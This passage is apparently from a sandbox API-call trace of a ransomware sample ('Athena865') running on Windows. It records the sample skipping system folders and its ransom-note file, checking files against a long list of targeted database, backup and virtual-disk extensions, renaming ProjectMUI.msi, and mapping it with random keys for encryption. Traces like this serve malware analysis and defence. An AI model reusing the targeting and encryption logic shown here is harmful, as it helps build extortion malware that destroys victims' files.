nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0057.923] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0057.923] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="..") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="windows") returned -1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="bootmgr") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="temp") returned -1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="pagefile.sys") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="boot") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="ids.txt") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="ntuser.dat") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="perflogs") returned 1 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="MSBuild") returned 1 [0057.923] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0057.923] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ProjectMUI.msi" | out: lpString1="ProjectMUI.msi") returned="ProjectMUI.msi" [0057.923] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0057.923] lstrlenW (lpString="Athena865") returned 9 [0057.923] lstrcmpiW (lpString1="ctMUI.msi", lpString2="Athena865") returned 1 [0057.923] lstrlenW (lpString=".dll") returned 4 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".dll") returned 1 [0057.923] lstrlenW (lpString=".lnk") returned 4 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".lnk") returned 1 [0057.923] lstrlenW (lpString=".ini") returned 4 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".ini") returned 1 [0057.923] lstrlenW (lpString=".sys") returned 4 [0057.923] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".sys") returned 1 [0057.924] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0057.924] lstrlenW (lpString="bak") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0057.924] lstrlenW (lpString="ba_") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0057.924] lstrlenW (lpString="dbb") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0057.924] lstrlenW (lpString="vmdk") returned 4 [0057.924] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0057.924] lstrlenW (lpString="rar") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0057.924] lstrlenW (lpString="zip") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0057.924] lstrlenW (lpString="tgz") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0057.924] lstrlenW (lpString="vbox") returned 4 [0057.924] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0057.924] lstrlenW (lpString="vdi") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0057.924] lstrlenW (lpString="vhd") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0057.924] lstrlenW (lpString="vhdx") returned 4 [0057.924] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0057.924] lstrlenW (lpString="avhd") returned 4 [0057.924] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0057.924] lstrlenW (lpString="db") returned 2 [0057.924] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0057.924] lstrlenW (lpString="db2") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0057.924] lstrlenW (lpString="db3") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0057.924] lstrlenW (lpString="dbf") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0057.924] lstrlenW (lpString="mdf") returned 3 [0057.924] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0057.925] lstrlenW (lpString="mdb") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0057.925] lstrlenW (lpString="sql") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0057.925] lstrlenW (lpString="sqlite") returned 6 [0057.925] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0057.925] lstrlenW (lpString="sqlite3") returned 7 [0057.925] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0057.925] lstrlenW (lpString="sqlitedb") returned 8 [0057.925] lstrcmpiW (lpString1="tMUI.msi", lpString2="sqlitedb") returned 1 [0057.925] lstrlenW (lpString="xml") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0057.925] lstrlenW (lpString="$er") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0057.925] lstrlenW (lpString="4dd") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0057.925] lstrlenW (lpString="4dl") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0057.925] lstrlenW (lpString="^^^") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0057.925] lstrlenW (lpString="abs") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0057.925] lstrlenW (lpString="abx") returned 3 [0057.925] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0057.925] lstrlenW (lpString="accdb") returned 5 [0057.925] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0057.925] lstrlenW (lpString="accdc") returned 5 [0057.925] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0057.925] lstrlenW (lpString="accde") returned 5 [0057.925] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0057.926] lstrlenW (lpString="accdr") returned 5 [0057.926] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0057.926] lstrlenW (lpString="accdt") returned 5 [0057.926] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0057.926] lstrlenW (lpString="accdw") returned 5 [0057.926] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0057.926] lstrlenW (lpString="accft") returned 5 [0057.926] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0057.926] lstrlenW (lpString="adb") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0057.926] lstrlenW (lpString="adb") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0057.926] lstrlenW (lpString="ade") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0057.926] lstrlenW (lpString="adf") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0057.926] lstrlenW (lpString="adn") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0057.926] lstrlenW (lpString="adp") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0057.926] lstrlenW (lpString="alf") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0057.926] lstrlenW (lpString="ask") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0057.926] lstrlenW (lpString="btr") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0057.926] lstrlenW (lpString="cat") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0057.926] lstrlenW (lpString="cdb") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0057.926] lstrlenW (lpString="ckp") returned 3 [0057.926] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0057.926] lstrlenW (lpString="cma") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0057.927] lstrlenW (lpString="cpd") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0057.927] lstrlenW (lpString="dacpac") returned 6 [0057.927] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0057.927] lstrlenW (lpString="dad") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0057.927] lstrlenW (lpString="dadiagrams") returned 10 [0057.927] lstrcmpiW (lpString1="ectMUI.msi", lpString2="dadiagrams") returned 1 [0057.927] lstrlenW (lpString="daschema") returned 8 [0057.927] lstrcmpiW (lpString1="tMUI.msi", lpString2="daschema") returned 1 [0057.927] lstrlenW (lpString="db-journal") returned 10 [0057.927] lstrcmpiW (lpString1="ectMUI.msi", lpString2="db-journal") returned 1 [0057.927] lstrlenW (lpString="db-shm") returned 6 [0057.927] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0057.927] lstrlenW (lpString="db-wal") returned 6 [0057.927] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0057.927] lstrlenW (lpString="dbc") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0057.927] lstrlenW (lpString="dbs") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0057.927] lstrlenW (lpString="dbt") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0057.927] lstrlenW (lpString="dbv") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0057.927] lstrlenW (lpString="dbx") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0057.927] lstrlenW (lpString="dcb") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0057.927] lstrlenW (lpString="dct") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0057.927] lstrlenW (lpString="dcx") returned 3 [0057.927] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0057.927] lstrlenW (lpString="ddl") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0057.928] lstrlenW (lpString="dlis") returned 4 [0057.928] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0057.928] lstrlenW (lpString="dp1") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0057.928] lstrlenW (lpString="dqy") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0057.928] lstrlenW (lpString="dsk") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0057.928] lstrlenW (lpString="dsn") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0057.928] lstrlenW (lpString="dtsx") returned 4 [0057.928] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0057.928] lstrlenW (lpString="dxl") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0057.928] lstrlenW (lpString="eco") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0057.928] lstrlenW (lpString="ecx") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0057.928] lstrlenW (lpString="edb") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0057.928] lstrlenW (lpString="epim") returned 4 [0057.928] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0057.928] lstrlenW (lpString="fcd") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0057.928] lstrlenW (lpString="fdb") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0057.928] lstrlenW (lpString="fic") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0057.928] lstrlenW (lpString="flexolibrary") returned 12 [0057.928] lstrcmpiW (lpString1="ojectMUI.msi", lpString2="flexolibrary") returned 1 [0057.928] lstrlenW (lpString="fm5") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0057.928] lstrlenW (lpString="fmp") returned 3 [0057.928] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0057.929] lstrlenW (lpString="fmp12") returned 5 [0057.929] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0057.929] lstrlenW (lpString="fmpsl") returned 5 [0057.929] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0057.929] lstrlenW (lpString="fol") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0057.929] lstrlenW (lpString="fp3") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0057.929] lstrlenW (lpString="fp4") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0057.929] lstrlenW (lpString="fp5") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0057.929] lstrlenW (lpString="fp7") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0057.929] lstrlenW (lpString="fpt") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0057.929] lstrlenW (lpString="frm") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0057.929] lstrlenW (lpString="gdb") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0057.929] lstrlenW (lpString="gdb") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0057.929] lstrlenW (lpString="grdb") returned 4 [0057.929] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0057.929] lstrlenW (lpString="gwi") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0057.929] lstrlenW (lpString="hdb") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0057.929] lstrlenW (lpString="his") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0057.929] lstrlenW (lpString="ib") returned 2 [0057.929] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0057.929] lstrlenW (lpString="idb") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0057.929] lstrlenW (lpString="ihx") returned 3 [0057.929] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0057.930] lstrlenW (lpString="itdb") returned 4 [0057.930] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0057.930] lstrlenW (lpString="itw") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0057.930] lstrlenW (lpString="jet") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0057.930] lstrlenW (lpString="jtx") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0057.930] lstrlenW (lpString="kdb") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0057.930] lstrlenW (lpString="kexi") returned 4 [0057.930] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0057.930] lstrlenW (lpString="kexic") returned 5 [0057.930] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0057.930] lstrlenW (lpString="kexis") returned 5 [0057.930] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0057.930] lstrlenW (lpString="lgc") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0057.930] lstrlenW (lpString="lwx") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0057.930] lstrlenW (lpString="maf") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0057.930] lstrlenW (lpString="maq") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0057.930] lstrlenW (lpString="mar") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0057.930] lstrlenW (lpString="marshal") returned 7 [0057.930] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0057.930] lstrlenW (lpString="mas") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0057.930] lstrlenW (lpString="mav") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0057.930] lstrlenW (lpString="maw") returned 3 [0057.930] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0057.931] lstrlenW (lpString="mdbhtml") returned 7 [0057.931] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0057.931] lstrlenW (lpString="mdn") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0057.931] lstrlenW (lpString="mdt") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0057.931] lstrlenW (lpString="mfd") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0057.931] lstrlenW (lpString="mpd") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0057.931] lstrlenW (lpString="mrg") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0057.931] lstrlenW (lpString="mud") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0057.931] lstrlenW (lpString="mwb") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0057.931] lstrlenW (lpString="myd") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0057.931] lstrlenW (lpString="ndf") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0057.931] lstrlenW (lpString="nnt") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0057.931] lstrlenW (lpString="nrmlib") returned 6 [0057.931] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0057.931] lstrlenW (lpString="ns2") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0057.931] lstrlenW (lpString="ns3") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0057.931] lstrlenW (lpString="ns4") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0057.931] lstrlenW (lpString="nsf") returned 3 [0057.931] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0057.931] lstrlenW (lpString="nv") returned 2 [0057.931] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0057.932] lstrlenW (lpString="nv2") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0057.932] lstrlenW (lpString="nwdb") returned 4 [0057.932] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0057.932] lstrlenW (lpString="nyf") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0057.932] lstrlenW (lpString="odb") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0057.932] lstrlenW (lpString="odb") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0057.932] lstrlenW (lpString="oqy") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0057.932] lstrlenW (lpString="ora") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0057.932] lstrlenW (lpString="orx") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0057.932] lstrlenW (lpString="owc") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0057.932] lstrlenW (lpString="p96") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0057.932] lstrlenW (lpString="p97") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0057.932] lstrlenW (lpString="pan") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0057.932] lstrlenW (lpString="pdb") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0057.932] lstrlenW (lpString="pdm") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0057.932] lstrlenW (lpString="pnz") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0057.932] lstrlenW (lpString="qry") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0057.932] lstrlenW (lpString="qvd") returned 3 [0057.932] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0057.932] lstrlenW (lpString="rbf") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0057.933] lstrlenW (lpString="rctd") returned 4 [0057.933] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0057.933] lstrlenW (lpString="rod") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0057.933] lstrlenW (lpString="rodx") returned 4 [0057.933] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0057.933] lstrlenW (lpString="rpd") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0057.933] lstrlenW (lpString="rsd") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0057.933] lstrlenW (lpString="sas7bdat") returned 8 [0057.933] lstrcmpiW (lpString1="tMUI.msi", lpString2="sas7bdat") returned 1 [0057.933] lstrlenW (lpString="sbf") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0057.933] lstrlenW (lpString="scx") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0057.933] lstrlenW (lpString="sdb") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0057.933] lstrlenW (lpString="sdc") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0057.933] lstrlenW (lpString="sdf") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0057.933] lstrlenW (lpString="sis") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0057.933] lstrlenW (lpString="spq") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0057.933] lstrlenW (lpString="te") returned 2 [0057.933] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0057.933] lstrlenW (lpString="teacher") returned 7 [0057.933] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0057.933] lstrlenW (lpString="tmd") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0057.933] lstrlenW (lpString="tps") returned 3 [0057.933] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0057.934] lstrlenW (lpString="trc") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0057.934] lstrlenW (lpString="trc") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0057.934] lstrlenW (lpString="trm") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0057.934] lstrlenW (lpString="udb") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0057.934] lstrlenW (lpString="udl") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0057.934] lstrlenW (lpString="usr") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0057.934] lstrlenW (lpString="v12") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0057.934] lstrlenW (lpString="vis") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0057.934] lstrlenW (lpString="vpd") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0057.934] lstrlenW (lpString="vvv") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0057.934] lstrlenW (lpString="wdb") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0057.934] lstrlenW (lpString="wmdb") returned 4 [0057.934] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0057.934] lstrlenW (lpString="wrk") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0057.934] lstrlenW (lpString="xdb") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0057.934] lstrlenW (lpString="xld") returned 3 [0057.934] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0057.934] lstrlenW (lpString="xmlff") returned 5 [0057.934] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0057.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.Athena865") returned 87 [0057.934] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.athena865"), dwFlags=0x1) returned 1 [0057.936] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.936] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2511872) returned 1 [0057.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518e70 [0057.936] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518de8) returned 1 [0057.937] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.937] CryptReleaseContext (hProv=0x518de8, dwFlags=0x0) returned 1 [0057.937] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x265700, lpName=0x0) returned 0x17c [0057.939] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x65700) returned 0x1f0000 [0057.967] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0058.087] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0058.103] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518de8) returned 1 [0058.104] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.104] CryptReleaseContext 